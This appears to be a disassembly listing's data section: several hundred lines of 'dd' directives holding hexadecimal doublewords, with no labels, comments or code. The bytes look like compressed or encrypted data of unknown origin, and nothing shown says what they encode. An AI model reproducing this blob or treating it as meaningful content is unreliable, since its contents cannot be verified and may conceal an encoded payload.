		dd 6AC837DEh, 0C26C514Dh, 2B5F9100h, 3302881h, 3F7D05EAh
		dd 0E90D56h, 0D2A874F8h, 4200DF87h, 6CA1205Ah, 949C5D9h
		dd 4AEF81BFh, 0B1E3D200h, 2001AFAh, 77E6420Eh, 18515Eh
		dd 0FEB9D247h, 8AB7D84Eh, 21715500h, 0EB7AE54Ch, 1431EEBEh
		dd 0AAE20923h, 0B0A05D00h, 59BBA6ABh, 83BFE900h, 53E8DF3Ah
		dd 3163073Fh, 402EE4A0h, 0EC6ED618h, 0F601FF7Bh, 4CA3D0B6h
		dd 0EFC82C45h, 347BFCh,	0C11D57DEh, 69FB53B3h, 0FDB2771Eh
		dd 0A3671C40h, 7665FEh,	10611F9Dh, 386F0D70h, 32A8BA00h
		dd 6C420589h, 2C9006h, 22E56D30h, 5DA2CEA9h, 0F0484C00h
		dd 0AEDACC23h, 67401D41h, 0CD0D8FFDh, 25F31820h, 74003349h
		dd 4B7234F4h, 9ECB12Fh,	843B3D4Dh, 80AECB04h, 0B40B622Ch
		dd 0C3E31300h, 5F619611h, 0FC3C00C5h, 0C1A1214h, 6DB8E6C7h
		dd 0B579E02Eh, 67479030h, 4FF62639h, 902500C0h,	9B66663h
		dd 89000E70h, 834E852Ah, 0A16958h, 0AF91E556h, 0BAD5956Ah
		dd 7A245D0Fh, 4AC2C05Fh, 4BEED02h, 0D16EA3E5h, 0D76AC020h
		dd 4F00CB12h, 0D529BCF2h, 9A6856h, 0EAE9BFF3h, 361C1718h
		dd 4C4EB900h, 420BD965h, 0CC903A83h, 8FAC890Fh,	12DF9A40h
		dd 7400A334h, 990DC19Eh, 7A58B01h, 0EE59C4E7h, 4D5861D9h
		dd 8E8DECF8h, 0A6D75100h, 0CEBC4605h, 0A07AF616h, 7819CCB4h
		dd 42A803DAh, 5CC46CA0h, 8FEF801h, 156DB0F9h, 0CCA560h
		dd 12A49FB1h, 892941E1h, 0B9948000h, 0E4920149h, 0E2FB390Dh
		dd 9657FC80h, 2AC0D5F0h, 2CF37500h, 0C5B19439h,	17C09890h
		dd 0F1E035h, 7A02E41Ch,	67007862h, 0A5F6C22Bh, 70DEB534h
		dd 0ACDA0156h, 7C04124h, 9FFF303Ch, 658F4500h, 3B621B42h
		dd 0F8D53955h, 0FE8EBBh, 9A548573h, 0B132C6C1h,	7C843Bh
		dd 0F2918966h, 31EC10h,	44DF0848h, 8D0D647Ah, 0B1264F00h
		dd 5B10DB42h, 1CD1013Eh, 2E77307h, 166FF0FCh, 8A97A200h
		dd 0A7047B47h, 44350058h, 344F2B41h, 6D00F148h,	312D80DBh
		dd 0BAAFA56h, 9F1CCE33h, 1A63E100h, 0E300244Fh,	475983B7h
		dd 106AB05h, 0D4E69E12h, 80AE182Eh, 0BDE39710h,	0E0959B74h
		dd 0CE23391Eh, 5BBB7780h, 0C97825CCh, 6926B502h, 0E8D63DE3h
		dd 0F6A9BC10h, 0E7600B3h, 0E8F14D88h, 100B2B8h,	0E6299D32h
		dd 3FB8C51h, 3881CB71h,	8FE89336h, 0AB492CFFh, 1A238004h
		dd 63885Fh, 0A2B5280h, 0D87B0BC9h, 283EB603h, 0A057CD49h
		dd 9AD64F3Bh, 731F0918h, 0FCFC8D71h, 0CB000826h, 0D29DEF23h
		dd 0B746006Dh, 0A40AD940h, 1E003F6Ah, 0D33D9C66h, 88E650h
		dd 0AB91CF1Ah, 0D17A198Eh
		dd 7B4C6500h, 475AA36Fh, 0FFD33D0Dh, 3E97F581h,	0F9CA414Bh
		dd 33D02087h, 3D22170Fh, 0DE6D808Bh, 125F7942h,	40E8BE2Eh
		dd 258A6867h, 0BD00CFFFh, 0EE306EDEh, 0AFC562h,	39110D4Eh
		dd 5CC66999h, 9A909C00h, 4441599Dh, 818B16BEh, 0C9004048h
		dd 25AEADA8h, 0B5C56100h, 0BFB0C8ABh, 2E28004Ch, 845CF81Fh
		dd 82E70BDh, 8BED898h, 87EB88E7h, 0E0012A37h, 0B7EAA4D7h
		dd 9852D02Ah, 76AD401Dh, 9394A380h, 1CBEE33Ch, 47D4A8C4h
		dd 20A75510h, 0E2442811h, 0C731EF00h, 966F3AA1h, 3C909Ah
		dd 0ADF40B9Bh, 0A5096950h, 0BC899200h, 0B9054DC3h, 38B05Dh
		dd 0A6360E1Bh, 2ABB4833h, 77BE6700h, 0A7D9A064h, 0D02C48B8h
		dd 0F8632Eh, 4ED9A7Fh, 210088C1h, 97845A86h, 17C5CAE5h
		dd 0DF1CD2h, 22CFDB60h,	2900067Ch, 8FFC43B1h, 0E1805Ch
		dd 449FE60Dh, 1D3BF660h, 0ED04BC7Ah, 194B1551h,	7E34ACC1h
		dd 7FB370h, 82836507h, 0B667BC73h, 97610400h, 1E897606h
		dd 66A100F3h, 0BD790DD2h, 0A90087FFh, 84E52E78h, 275B4885h
		dd 54008F91h, 0C68B6D7Bh, 0D4AFB026h, 0FC518300h, 3EE7E317h
		dd 3C80259Bh, 0B8AB3954h, 0B10F53A0h, 0C04D7487h, 7A262320h
		dd 0CDF102F7h, 0C6FE6ADCh, 0AA2C04C0h, 44A7E500h, 0A2A5C152h
		dd 0B1D84C87h, 8312B558h, 4F04C0F5h, 9D50227Ah,	9FFE05FCh
		dd 49BC8C04h, 4042E9AFh, 9DC336D8h, 8F3069B8h, 0C8048h
		dd 5CC1F093h, 16CE742Ch, 159A239h, 0FA0F5F38h, 0A948D835h
		dd 2F9F4401h, 908EF911h, 0D3023073h, 0CB059846h, 30E2405Fh
		dd 0AF3D3DFCh, 2BDE4482h, 60404AA1h, 133A59B5h,	0A9CC009Dh
		dd 0CA066B8Bh, 0C3F6004Bh, 32683C87h, 1300E60Eh, 0F1796C1Dh
		dd 0E45EA57Eh, 56EC03BFh, 8726B15h, 0FCCD98B9h,	170088CBh
		dd 61A4DB28h, 1540ECCh,	168D91C1h, 24EDAF13h, 0D6EE5FF0h
		dd 0ECEA4A00h, 70BC52B9h, 90314964h, 0ED204503h, 4290AF7Fh
		dd 81050469h, 4BA63999h, 0C0E7B891h, 8700043Ch,	9E5572DDh
		dd 62005FCEh, 83A2EB14h, 0AD3DACh, 9F63A835h, 207CCBA0h
		dd 0C5968809h, 0E72C80C7h, 1C6B55h, 0D8D0093Dh,	0DA9DEADCh
		dd 0C030FE07h, 9863A841h, 718B904Fh, 0E8E2001Ah, 0E42BB3F9h
		dd 0F5E64681h, 257F809h, 1D4080C3h, 0FD6CF340h,	61D77300h
		dd 91E24Ch, 388F98AEh, 0F0E89Eh, 8394ACA8h, 5DE4DD2Fh
		dd 197D8E12h, 80A164C0h, 720B27EEh, 5C93B010h, 285B5639h
		dd 7E09E0ACh, 0C094434Ch, 2C0EF5Ch, 0E1D9FAA8h,	0B9C0D2CAh
		dd 500602Ch, 0B53D6BB6h, 18469ED4h, 590C522Ah, 0F40202D2h
		dd 77BC7133h, 9830E323h, 3ED07C1h, 85085A1Bh, 55F9F10Dh
		dd 0EAD0300Bh, 0F38298C0h, 24084403h, 0CD801A3h, 9389A612h
		dd 20E1D807h, 0A03F4E40h, 0E2A1ACBFh, 0B23201B9h, 10FFAA84h
		dd 16DC30ABh, 980F4100h, 9C3E9658h, 57110C6h, 7C1F01E9h
		dd 80974356h, 774ED2ECh, 0ACC20065h, 20BE4DF4h,	0CE0E7E2Bh
		dd 0C0C95359h, 0CDB9CB0Fh, 97E20054h, 0B21C0728h, 0E71669F4h
		dd 0CE0A9AA8h, 52049CABh, 93213D8Fh, 0E6B181FCh, 0BA82A110h
		dd 0B76930h, 0FF1B6F8Eh, 0B835276Ah, 6D59F41Eh,	0D180F69Fh
		dd 0C9603D7Bh, 0F81D2404h, 1C2E0024h, 2E65F49h,	0F7675100h
		dd 4CF2FC0Ch, 0FF1E00A9h, 1FA41C0Fh, 170064EAh,	14404367h
		dd 32B8C83h, 79471286h,	8EB2851Ah, 0E836D280h, 7800BD4Ah
		dd 0DEFA0AC7h, 1E472559h, 5C5428Ah, 2788A3C2h, 0D7E9204Ch
		dd 0B90EA139h, 8082925Fh, 90FB2365h, 9BD12481h,	0FD880FACh
		dd 8802BF85h, 8C0EACFCh, 393CEEh, 0B1A5E215h, 277D0BE7h
		dd 0C825E91Dh, 23AC53h,	0E637010Ch, 7A1F548Eh, 0C81417BCh
		dd 260402BEh, 64C4CC83h, 38FDB22Eh, 5B00D020h, 2BB7C4E0h
		dd 571227h, 882C4025h, 8F651F04h, 5A070E00h, 0EB4895F6h
		dd 30561CC8h, 9F74DF42h, 92825F87h, 0F0C04DFh, 71EC88BDh
		dd 33EC8426h, 42B75F02h, 20F180ABh, 1E16D6F9h, 80C09ED5h
		dd 68F85628h, 0D10FDB0Eh, 2EC1FDC3h, 8BA180CCh,	174B979h
		dd 113C0D7Dh, 70692065h, 33029D15h, 0EE4781FDh,	88386889h
		dd 0FEB900F0h, 86CF1395h, 0AD7FF6B8h, 0AF0BE470h, 985C2DA2h
		dd 2C515708h, 7F4B42h, 6BAD7EBDh, 683E5089h, 11E780CEh
		dd 1D1F7ADDh, 88291D20h, 0A89741EFh, 0F093FE28h, 9F0059EBh
		dd 54D8F9CEh, 59C76CAh,	0A46FA90Fh, 51388092h, 431D4281h
		dd 0B5007E5Fh, 7DCA59D1h, 61C008Bh, 8D15E70Bh, 630CEA85h
		dd 6923294Ah, 2761004Bh, 0AFA3257Bh, 9100FBBBh,	8384B012h
		dd 958A4EECh, 0D488FF78h, 0B4FE2235h, 9694743Dh, 9F9Eh
		dd 4DCFE603h, 24FA0E91h, 78E0BD1Ch, 0C10E504Eh,	0E62C220Fh
		dd 2845A4C0h, 0C3D71FFEh, 8E4C731Eh, 0A063B780h, 0AC4AE628h
		dd 1B2FDE0Fh, 22FBA110h, 1C30DA34h, 0C7AB0004h,	2175C876h
		dd 0EA0019B3h, 2DFB72A7h, 0ADED18h, 0D78AB15Eh,	15B5E675h
		dd 19B25301h, 97A71AEBh, 3E95CBD4h, 6B007905h, 1CEC09E1h
		dd 1E01B8F2h, 0FB065BEBh, 23C17A3Ch, 5E98AD0h, 0D9C4A06Fh
		dd 0CD5DC04Fh, 1600F497h, 0E3727518h, 0B9D650h,	0B2D4A947h
		dd 0E9D7F01h, 0BB8AF404h, 3880C196h, 0DD5E81h, 350A973Ch
		dd 0B205B11Eh, 9F86318h, 0F0719A10h, 8B74C4Eh, 5ED0DB02h
		dd 0E5E0445Fh, 0A602F4C2h, 1AD84CA1h, 0A56CC994h, 1FFFA820h
		dd 805F1BB5h, 3B0FFC34h, 73039FB4h, 631D188Fh, 0E140C878h
		dd 5F2116F3h, 5898002Bh, 0AE016D6Eh, 54633Bh, 9CA702D3h
		dd 239F9Ah, 0F125761Eh,	4294C151h, 913F9D00h, 92D90878h
		dd 0FA685054h, 0AAD40053h, 0CCBDA187h, 396EFF4Ah, 0B9A680E8h
		dd 7E34C391h, 89BA07F2h, 0FEC0D732h, 0B2850013h, 0DB894AAh
		dd 583F3000h, 4EB40E2Fh, 0FFCD07CEh, 70775A7Ah,	96394516h
		dd 4358BB00h, 908F13FEh, 0E2C0441h, 0C06F934Fh,	7699355Ch
		dd 0C4E1B200h, 0B58899Fh, 2B6D0236h, 8A6340E2h,	0C7CB8E80h
		dd 48B00E6Ah, 91691400h, 6A51F46h, 38E25C23h, 0A056470Bh
		dd 0E98190E0h, 80937E3Bh, 59AD3205h, 73611F96h,	840E09C8h
		dd 9060E5E1h, 75008AAFh, 8B6D5739h, 78F90E6h, 73C11EECh
		dd 0B85C70A2h, 4963456h, 0F6203340h, 3FF890A6h,	2E0058FDh
		dd 0D8FC9FEDh, 64B83569h, 0E075CE74h, 8DC8B802h, 58968E42h
		dd 7EA10074h, 109EBCE4h, 0DD031454h, 62D65AA8h,	0CA200489h
		dd 0A4F22B32h, 0C600EC48h, 0CC13D79Eh, 60A579h,	0A1D4513Bh
		dd 11C3FF90h, 34001C7Dh, 0EDA4293Ah, 6DAD9Ah, 9F9BE4CDh
		dd 32CBDAAAh, 0F422F600h, 10DB71E3h, 80A23FE5h,	251E97h
		dd 6DE44D60h, 6C02931Bh, 0CB29330Fh, 5C5CE090h,	2FCC0007h
		dd 0ADA2ECF7h, 77008234h, 7EF82E10h, 7AE49Fh, 75B5CDD6h
		dd 0C39A8A33h, 0BA035290h, 9D924CD2h, 6726B85Ch, 7550B2FBh
		dd 2884008Dh, 9A073C37h, 0BB0EF388h, 1F6365A4h,	0B3ABF1C0h
		dd 0CD96DECh, 0A7E35E0Ch, 33007611h, 0B059E26Bh, 3DB63DEh
		dd 0DAFB7436h, 4BA9B6C2h, 5060804Eh, 6781EEC8h,	3A100F9h
		dd 0D10A8FDh, 0C32CCAAAh, 74863482h, 58314FB2h,	3A79EEDCh
		dd 380704C8h, 0C08E2B29h, 1B4AECC2h, 0C026102h,	0C08BA8EDh
		dd 0F007F3D6h, 83310CA1h, 11D99CB9h, 7517A97Ah,	9C40A89Dh
		dd 2C42C47h, 4A69C05Dh,	0D909C6ADh, 9AD1A11Fh, 8B1FD041h
		dd 1D706CBh, 0DE5FDC11h, 0C509D3A1h, 9C498004h,	983AFC81h
		dd 0A00A720Bh, 0A3AB8E0Ch
		dd 0D2F10140h, 0B21945B1h, 0BD01EC5Fh, 216AFA1Dh, 0EC2C1339h
		dd 44EF801h, 0DCF05F40h, 67700E7h, 8BE0EF45h, 0C00FDA5h
		dd 243CCEC6h, 709CCh, 94193B50h, 2E56EF32h, 8F895424h
		dd 6D3E9F07h, 7B1FE100h, 0F5E00345h, 7CE40D3h, 3A0CC0C0h
		dd 21D13600h, 0EB898FA8h, 0FEFCFFh, 0F58D4F3Dh,	490139BDh
		dd 0E49CA400h, 6BF89D86h, 82480A7Bh, 9FD48565h,	17FFC0DDh
		dd 2E70B43Ah, 0EB989300h, 75E5D9BDh, 7F9E406h, 73E8956Dh
		dd 0A9C34F10h, 5CF1FFE6h, 0F4E450D3h, 51D68087h, 0C417B1Ch
		dd 0EAFD3842h, 915B2080h, 1CC8EFDDh, 27B0ACABh,	9E0C6302h
		dd 0E0CCFF75h, 99EB0321h, 0FD3277BAh, 50005183h, 83E7768Dh
		dd 0DE7EABh, 0C54828B2h, 701D57EEh, 4B75FE00h, 92A7DCACh
		dd 0B6D100C3h, 0B58A6609h, 6530C01Eh, 5D2A998Ch, 3DC4F4ABh
		dd 74875B34h, 414D0E64h, 0C0CF525Ch, 0B5060D9Ah, 5681D28h
		dd 1D016A9h, 9B4407Bh, 914F746Ah, 0C30098E4h, 0ABD4B46Eh
		dd 3A1E7ACCh, 76AF61h, 0C194BAAAh, 0A15D2C93h, 8D23B519h
		dd 2180A908h, 60C17CE0h, 74002959h, 0FD9CD2A7h,	13F1A05Eh
		dd 86339Ah, 68A3E6F7h, 5A00B564h, 0FD0ACC75h, 0E6C0113Fh
		dd 66CFE05Eh, 215508EFh, 8034883Eh, 0EE67EB1Bh,	1DB987Bh
		dd 84338719h, 0DCABD123h, 5100AAF2h, 97604CFDh,	0EE27AA3h
		dd 0F12E948h, 92EC4898h, 8303667Fh, 4B7E8FFCh, 0E80818F4h
		dd 0BA452049h, 0B4B86600h, 8A7CC6D2h, 0A6990153h, 1D2CFB56h
		dd 126988DFh, 38F036B9h, 0C13F68C8h, 719A669Ch,	0E9340899h
		dd 77844F88h, 3860066h,	0B841375Dh, 0EE0F9AE1h,	0C58D7ACFh
		dd 0A847E867h, 1890437Dh, 0E13547h, 0A248AB21h,	7F7BC517h
		dd 11FD9321h, 3FFC8069h, 8C37C026h, 1897A44h, 0B92C3F33h
		dd 31845193h, 67488C8Dh, 1D2B79A1h, 3C2AE882h, 0B8C75F0Ah
		dd 50467434h, 43F2B91Dh, 70C78430h, 840EAEAh, 7307CC90h
		dd 5D1AD671h, 6D8BF780h, 0CBC20010h, 4F53C4A6h,	787F3ED2h
		dd 23581107h, 7012544h,	10943AF5h, 0ACAA04F4h, 7560019h
		dd 2BEB3DCDh, 89001780h, 73D3FA74h, 0E8A77Dh, 10967EB4h
		dd 2AA407BDh, 0CC744E78h, 0F87FB500h, 0CF388644h, 2C1A3C1Fh
		dd 4787007Fh, 73EA43C1h, 0B10014F9h, 0F410FF22h, 0F5C44A7h
		dd 786C7D8Dh, 4A0038ABh, 45C00F3Ah, 0FB07B039h,	0A40B800Eh
		dd 203CA547h, 7E0C6C6Bh, 5C107FD9h, 918A90Eh, 80A72908h
		dd 8C703A4Ch, 0A678007Dh, 0A05FCF7Fh, 0B9185C22h, 0E3280FDFh
		dd 7A26886Eh, 7B08DB89h, 848FD044h, 22328322h, 9D325EE7h
		dd 8F8B7912h, 943F2814h, 447828B3h, 228437C3h, 5F4267FCh
		dd 0E0BCF08h, 0DA8AF310h, 146B1450h, 210C3C11h,	78C9089Fh
		dd 99847790h, 7DDB440Eh, 79282D4Eh, 18504314h, 7290DEDh
		dd 0E0F1887Ch, 42EF51C8h, 0C32407D4h, 0ABA25440h, 0DB008018h
		dd 0A4500FFBh, 6421965h, 516BB0A3h, 8B0020BCh, 0F9DF08F5h
		dd 0DC267Dh, 0C3F1B393h, 0FB06B088h, 7CB19D26h,	0C16F5F00h
		dd 5015CCh, 74985BF6h, 9CED6C44h, 0E0DBA300h, 4259DA08h
		dd 1A1900E3h, 7F01A68Dh, 0D600520Bh, 942E9E71h,	0EE11F7A3h
		dd 1B100F26h, 0E9272C58h, 0DA604E81h, 0B9D4D19h, 293BD61Ch
		dd 3E802300h, 1DC96F2Eh, 6672BFBDh, 0DAD803B7h,	0B89A5CF4h
		dd 0D69101FDh, 2083BE12h, 0B6ACF1FAh, 0C42FEAF9h, 9E00A10Ah
		dd 290DCD7Fh, 9027B7D7h, 6971E54h, 0AFAA436Dh, 7800F96Ch
		dd 79464911h, 0C9E95Bh,	33E7B45Eh, 376E2520h, 4F26A100h
		dd 7BB6C8AEh, 328A00ACh, 678065D6h, 0CFFC33BDh,	9CA7DD24h
		dd 0CDE3B600h, 76A193h,	0B83D5846h, 0A2DBC091h,	90BA2824h
		dd 6F641C00h, 95A83Bh, 0F00BD6BCh, 5451C537h, 9F606D00h
		dd 0A7D7C98h, 0F50F00C4h, 0D2270C1Eh, 2F00EE94h, 0E93637DBh
		dd 1F716AB3h, 0C007E383h, 175035D7h, 0E072895h,	58C5D3F4h
		dd 81E6E730h, 0A38BE490h, 50B9D0D8h, 33E000C9h,	0DD6370C8h
		dd 0B3035220h, 58512DD9h, 0CA30B702h, 50B17FB4h, 609F33h
		dd 0C720703h, 0B2E5AEFh, 40A3CE04h, 0F88078E5h,	0CDC2F6h
		dd 25D2EA61h, 0C434F3B8h, 2FA06301h, 0C30ABBDCh, 70FF2089h
		dd 0D9804010h, 0E675F900h, 4902F8F0h, 74BF00A0h, 0CA712FBDh
		dd 3800EBA3h, 829C9822h, 31BBB81h, 4362D1D9h, 0D6D8CA7Eh
		dd 0AC005231h, 504D444Bh, 3AE27F41h, 788CD4h, 0EEEE3F1h
		dd 5BB4349Ch, 0AA5338h,	9D523EC2h, 3EA803EDh, 0F7BE97h
		dd 0AF800D37h, 0BC065A2Dh, 866F3901h, 0E03EA5D3h, 3E191EDCh
		dd 0A00DF8Dh, 2DC2B752h, 1A0361CAh, 29E4FBE1h, 0D25EC074h
		dd 32811C37h, 0C77200ECh, 3B90BF52h, 790F34Ch, 87F56D33h
		dd 2EDA1F90h, 50B87F7Bh, 37CCC28h, 43E9E883h, 0F9E03BFCh
		dd 6B006AD7h, 9DB67BC0h, 724B19CEh, 157887h, 88579590h
		dd 49F021BDh, 0AD20700h, 4C68B937h, 0AB240971h,	0AC0036C3h
		dd 8DF114EFh, 0E3E81700h, 782C3991h, 24650088h,	75D1732Ah
		dd 0D500988Ch, 4F834989h, 6BF426h, 74F92533h, 6A637605h
		dd 0BF0072E8h, 0E627040Fh, 713D0Dh, 6EC226B5h, 0BB10C851h
		dd 40D86C00h, 0A5FD686Bh, 0DE2400B4h, 3EA3987Ah, 86012325h
		dd 12100B63h, 0CDF477C5h, 2FC90E37h, 30C0495Ch,	31147B73h
		dd 0C3C18807h, 7C909045h, 0F023FBh, 0DFA90C5Bh,	0C488B4A8h
		dd 0E30046FAh, 0E1F183F4h, 0BC5CA3h, 3EDA48EFh,	0C1FD639Dh
		dd 0FE07B63Ch, 68643Eh,	49E8B81Ch, 0F038A4h, 340BEED9h
		dd 6F0A5F3Ah, 0A09C8828h, 50670102h, 6021BA8Ch,	12F96618h
		dd 0FC4F8C7h, 33B700h, 7DA91178h, 0A37FDD57h, 9B383E1Ch
		dd 9F3B6283h, 0D400E573h, 93407BF3h, 0FEE4E116h, 0A8BF0009h
		dd 63227C76h, 0E174247Eh, 4967877Dh, 0C1B06798h, 95F8BFh
		dd 8F274F58h, 0B65728D9h, 0A3E7E000h, 0B51C7DD0h, 0D8C80077h
		dd 67692BB7h, 0C3EBD70h, 0EA2F0907h, 3A19D655h,	41E90076h
		dd 0D3E833F8h, 3400A670h, 7152040Dh, 7735E74h, 0A43CE1B6h
		dd 0FF602FB5h, 194A3B5Dh, 328E0501h, 540BF9EAh,	0EE1534E8h
		dd 0DE0E3BD3h, 503D5D00h, 45177C71h, 3100C1F8h,	39BD53B1h
		dd 29FD16Ah, 99D84825h,	10606235h, 28B0D226h, 95C23B02h
		dd 0C8C4A269h, 10CCDF38h, 5DC3964h, 0AD8F40C0h,	0A9A85C90h
		dd 0A3560206h, 0F19832C8h, 7FF89B63h, 0AE4C1B41h, 28127C10h
		dd 0AC4182ACh, 5D2FCB79h, 90E9BAFCh, 3CF200E0h,	80D9919Bh
		dd 240099E1h, 888B40A1h, 0A0745BBh, 55C203CEh, 0C4800D8h
		dd 0E1FF1DA4h, 0FEEDD700h, 97AAA2A6h, 3F78BCh, 3D20041Ch
		dd 0FD6E1FB1h, 0A2075700h, 8206AD96h, 76EE31h, 0C517EC34h
		dd 0E1E6F092h, 3EA9E800h, 971A9B69h, 90447C28h,	8CF4804Ch
		dd 9A54024Bh, 0FB1F896Eh, 90D7C4C0h, 0CCFEB800h, 79934695h
		dd 0F64D029Bh, 0A53E70B3h, 41E22460h, 599C3D2Ch, 24BB1E00h
		dd 7DE63329h, 1E9840h, 5109112Fh, 3F59E5CEh, 7D3C3E00h
		dd 4DAFEE97h, 3B71F8h, 0DFC9F70h, 86C95CA5h, 0B363A00h
		dd 0FD712178h, 73DA0B12h, 0C7816CBDh, 0F01760D2h, 3A07F550h
		dd 28DBF3A4h, 3F8D4B30h, 0F95F6A3h, 0C590848Ah,	20CDAFA6h
		dd 1D45BA00h, 0D72DE9CFh, 3E300ECh, 20F8F202h, 0ED0154A5h
		dd 80D57A81h, 3070C0BCh, 0EAF90060h, 0EEA2CDE4h, 0A31FF0E7h
		dd 8D408781h, 318E8A08h, 0D8B0E2h, 247B90F6h, 0ACA102BBh
		dd 0E46EFD00h, 231ED68Bh
		dd 51DD3D2Dh, 86C37380h, 0C90CE5A4h, 9121D00h, 95602526h
		dd 308E03B1h, 24056BB6h, 1F877EBh, 4A0E3ADFh, 0A0BB752Dh
		dd 8DA089B4h, 0F48E0073h, 0FFD8FAD0h, 1100EF80h, 798B47B6h
		dd 622D2Eh, 61169AE9h, 0BBC197D4h, 72A9F00h, 3CA644D1h
		dd 996E39ACh, 74A57B80h, 0BE69412Ch, 0FACE6324h, 0BF86A200h
		dd 0E4CA78h, 0B34EABD2h, 3A1ABD8Fh, 0F6B52C00h,	0B4BF9E41h
		dd 0A5920085h, 90C6D1F7h, 10029CAh, 4DE302F5h, 9BC045h
		dd 0F71BBC08h, 165E9F61h, 4972D100h, 9097E252h,	84E0A004h
		dd 59B092D3h, 0D509C4AAh, 59006AB5h, 82F63A60h,	56BBA41Fh
		dd 6344EF1Dh, 0FEADF68h, 1020F9B5h, 0B740DD8Fh,	55F29670h
		dd 5FEC7809h, 276B002Fh, 1C8E0103h, 405D2E70h, 661AB091h
		dd 7D0343FDh, 0EAC6C38Ah, 0A3EEC079h, 0E028C961h, 0E344CF80h
		dd 2300D06Ch, 1DA2EAD3h, 156FCBBh, 15834C0Ch, 0DC508F44h
		dd 0F05CC6E4h, 80B939DCh, 0E5CD2172h, 0EDC0BAh,	0BB633C85h
		dd 0D81458DBh, 0AFF42A00h, 0BDA8B776h, 0D02D0298h, 0D6336C86h
		dd 0CB2887C0h, 290014F8h, 0B2B3C9D4h, 754183h, 85D7A0Ch
		dd 0D64AC858h, 1B70A100h, 1DDE0BE7h, 0F82A2655h, 606E00F8h
		dd 0FFE54E8h, 9633431Eh, 0FCE23A40h, 39387407h,	0F76CB4h
		dd 0C3EDCFBh, 0E70DCAACh, 4F3A5A01h, 4116EDA2h,	461DF640h
		dd 19DF00ABh, 0A7E8A879h, 77008333h, 1B7F050Fh,	7BE4B2h
		dd 4D22E06h, 60B4F665h,	72632A00h, 6F459D1Eh, 88966036h
		dd 9FF65AB8h, 0D60023EAh, 327EBEDCh, 11E7382h, 94EA91E9h
		dd 875F4AA9h, 90A55D20h, 37BE6830h, 2DA8006Dh, 31442174h
		dd 131FF938h, 0B6C3C7Dh, 430E0D03h, 9F4FD05Fh, 0C1E7005Ch
		dd 580BFF28h, 0A53B739Eh, 48D89E2Ah, 9243057Ch,	4C7EDB3h
		dd 4ED05B97h, 0FF1E358h, 749840D3h, 0F575C00h, 470316B9h
		dd 0CDC7F91h, 62EA0DAh,	0D0620C7Ch, 0DF290EB4h,	3EDECB00h
		dd 0C074B75Dh, 8CEC00B3h, 0D1722991h, 0DA7EBA33h, 29F6607h
		dd 800E515Bh, 0D2B277BCh, 0A3B4003Bh, 5E1832ABh, 6A002952h
		dd 5079FE5h, 381B215h, 82AFA2B8h, 54C857C5h, 0D800F9C8h
		dd 5D2B71DFh, 1F4F67h, 2E3E7FBDh, 29FA9399h, 3B062707h
		dd 0D1561810h, 344F0016h, 1ADAF077h, 121329BDh,	541FB842h
		dd 5C8C3AC0h, 4B2CE1DCh, 2451B887h, 7F0B893Ch, 0ECA680A5h
		dd 180B3D3Bh, 0BA60030Eh, 0AA28F973h, 78729C88h, 3508FA00h
		dd 0D510ECBh, 1FCC1DF0h, 6D4CF8Bh, 723BA014h, 0C2A87503h
		dd 0F7F019D1h, 4E14B51Bh, 0FDB918h, 33752ECFh, 7F6D3D05h
		dd 0AF4400BAh, 3AC4F3E1h, 0A8F74AA8h, 3B000C48h, 7719E20Bh
		dd 809183h, 0C6C0C28Ch,	6B6E86D8h, 0C100F872h, 55F740B3h
		dd 1303ECDh, 0B7717B9Fh, 0D07F8B43h, 23009E08h,	8C749CFEh
		dd 49D47h, 0ACEB0DB6h, 0BED2227Dh, 0C6CD100h, 47081D36h
		dd 32F30057h, 0E22610F7h, 0A0006560h, 0E3FEEA7Ch, 7B409A19h
		dd 7A6E00DBh, 0DC571D4Fh, 1C00CE09h, 62B395C8h,	713615Fh
		dd 0D2835E5Ch, 11A32271h, 0DA42EFC0h, 8AC5FF00h, 4C060933h
		dd 0B58800DCh, 9111BDD3h, 83038BC3h, 4F1F60E5h,	0ACB1A5E9h
		dd 22CB460h, 55183CFDh,	0B440B9E0h, 0F61D17D9h,	3F9FEEF4h
		dd 872A69C1h, 3DE48E14h, 1C8AFEEBh, 80944F46h, 0F01C113h
		dd 0A600B64Ah, 72A8C682h, 7E147AA3h, 73B1006Dh,	2F707644h
		dd 7C9263D2h, 96D463B0h, 214007Ch, 1A3609B6h, 10F8901Fh
		dd 24063EFAh, 0F940BCCEh, 0F9A02ADh, 9EBFDD29h,	45E40D41h
		dd 5CA8C4B3h, 4158B612h, 376BFC00h, 0DA70A4h, 30E8A9D9h
		dd 0B5272B65h, 1F4EF909h, 0F5C00F7h, 7920F6F3h,	91E99817h
		dd 7F00888h, 0F4905E00h, 3C1954h, 379BFF30h, 0E6793528h
		dd 11194B70h, 6A488D51h, 10930h, 407CFC31h, 0D63E30F3h
		dd 46480E6Ah, 56F6701h,	0C670FB1Eh, 0D031D9Ah, 85134041h
		dd 0F18E6B69h, 145DF501h, 0B7C8D6FAh, 0FC945CE0h, 0B15F0029h
		dd 0D057E0B6h, 0DE0BB462h, 0B99F40h, 391F9547h,	46AE0028h
		dd 3A2EE783h, 860034B8h, 0B7C96D72h, 9B8F1Bh, 575DC2FCh
		dd 0C4AE62D7h, 0E2CC5000h, 42DD1473h, 6CCD0028h, 5E3F65AFh
		dd 2A0072A4h, 3D44AC75h, 1E898B27h, 80D01EA6h, 9AABE484h
		dd 2A601CDFh, 0CD78B560h, 641F4CEDh, 40F3A01Fh,	1D55E67Ah
		dd 971436BCh, 1498E5A5h, 80BC859Ch, 6AC7166Dh, 1322391Ch
		dd 84A70203h, 1200B5F5h, 146D3A3Ch, 5C10260Ah, 8900D25Ah
		dd 0B758DCF0h, 9478C388h, 9C1C2D00h, 0C14AE7CDh, 0C7F750Eh
		dd 5470C88Fh, 4D262F69h, 3CEC07h, 60282AD1h, 177ECD0h
		dd 6B7C8397h, 0E49121EFh, 29001623h, 30D3AA1Fh,	736DA7EBh
		dd 0FFC0A0D9h, 80BB2CAEh, 4C01029Bh, 0A5609DF6h, 7124CF6Ch
		dd 3F00A1BAh, 5D667021h, 737F0318h, 0B8556FDEh,	4CD624C8h
		dd 58942000h, 468F329Bh, 0C63B3FE1h, 178642Ch, 0F41AA336h
		dd 1897FC0Ch, 0FF0A8400h, 8EAA3596h, 0B1FA1Eh, 0F90C2BF2h
		dd 0B7A5E83Eh, 0BA907D73h, 9D036000h, 395DFD27h, 0E0A30086h
		dd 2BA02283h, 0B11D8A49h, 3180ECC7h, 0FBEA7EDAh, 9CF500C0h
		dd 941B77E1h, 0EC00AF86h, 0A0B5C214h, 0EC73F3B1h, 528D0054h
		dd 39C60C77h, 0C1008361h, 0F23DBEE6h, 0D34D37h,	9DF1F30Dh
